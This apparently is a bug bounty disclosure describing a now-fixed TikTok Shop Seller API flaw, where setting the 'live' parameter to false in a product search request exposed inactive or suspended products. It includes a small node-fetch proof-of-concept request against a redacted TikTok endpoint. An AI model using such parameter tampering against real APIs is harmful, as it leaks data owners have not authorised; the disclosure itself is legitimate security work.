Exploitable live argument in onClick Function leads to Data Leakage of Inactive/Suspended Products

Summary

Within the "Search Product" function in TikTok Shop Seller API, the ability to access inactive or suspended products could have been achieved by tampering with the "live" parameter in the API request. We thank @696e746c6f6c for reporting this to our team and confirming its remediation.

TikTok's summary is brief. However, during a source code audit, I discovered the following detailed summary of how I came across this specific code snippet on TikTok

onClick: function () {
                        Fa('self-promotion', 'live', 'live_dashboard'),
                        (0, de.xw) (m)
                      }

where's onClick is a function assigned to an event and then within the onClick function, the Fa() function is called with three arguments: self-promotion, live, and live_dashboard. This function call is used for some live shopping ads. However It seems like that live status is not only for live products but also it was found out that it can be used for data leakage of inactive/suspended products with it's false boolean value but not true value and therefore this creates a security vulnerability. As such attacker was able to make a POST request to the arbitrary endpoint using fetch API for example:

const fetch = require('node-fetch'); //

const url = 'https://*.tiktok.com/api/v1/xyz';

const postData = {
  campaign_id: "0",
  product_name: "",
  page_index: 1,
  page_size: 30,
  live: false
};

const headers = {
 // headers
};

fetch(url, {
  method: 'POST',
  headers: headers,
  body: JSON.stringify(postData)
})
.then(response => {
  if (!response.ok) {
    throw new Error('error');
  }
  return response.json();
})
.then(data => {
  console.log(data);
})
.catch(error => {
  console.error('fetch error:', error);
});

However if we don't include live JSON property in the request then response would return the following data from the back-end:

   "code": 0,
   "data": {
       "amount": null,
       "invited_amount": 0
   },
   "message": "success"
}

Thanks to the TikTok team for the bounty and the good fix that has been pushed!